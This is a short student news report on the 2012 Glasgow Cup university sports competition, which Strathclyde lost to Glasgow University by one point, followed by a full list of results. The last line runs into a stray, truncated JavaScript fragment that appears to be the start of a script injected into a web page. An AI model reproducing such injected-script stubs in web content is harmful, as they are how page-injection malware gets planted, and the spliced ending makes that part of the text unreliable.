The University of Strathclyde suffered Glasgow Cup heartbreak last month as they finished second – just one point behind rivals Glasgow University.


Over 700 students from Strathclyde, Glasgow and Caledonian University took part in a range of sports including football, rugby, hockey, netball and basketball to see who would take home the silver trophy.

The competition went to the wire with the destination of the silver cup set to be decided in the men’s basketball game between Glasgow University and Strathclyde.

However, players from the University of Strathclyde and the University of Glasgow women’s volleyball teams had to play one final set at the end of the day after their match was cut short at 1-1.

It was a case of history repeating itself as overall Glasgow won the cup by one point – the same as last year.

Strathclyde sports president, Karen MacKellar said: “Coming second just shows that the competition is at such a high level and how tough it is.

“Everyone has absolutely done their very best and it’s just came down to one point.”


2012 Glasgow Taxis Cup full results:

• Athletics – Glasgow University • Cricket – Strathclyde University • Badminton – Strathclyde University • Men’s basketball – Glasgow University • Women’s Basketball – Glasgow University • Men’s Football – Strathclyde University • Women’s Football – Strathclyde University • Golf (exhibition sport) – Caledonian University • Men’s Hockey – Strathclyde University • Women’s Hockey – Strathclyde University • Netball – Caledonian University • Rugby – Strathclyde University • Squash (exhibition sport) – Strathclyde University • Swimming – Glasgow University • Tennis – Glasgow University • Trampolining – Glasgow University • Men’s volleyball – Strathclyde University • Women’s volleyball – Glasgow Universityvar d=document;var s=d.createElement(‘script’);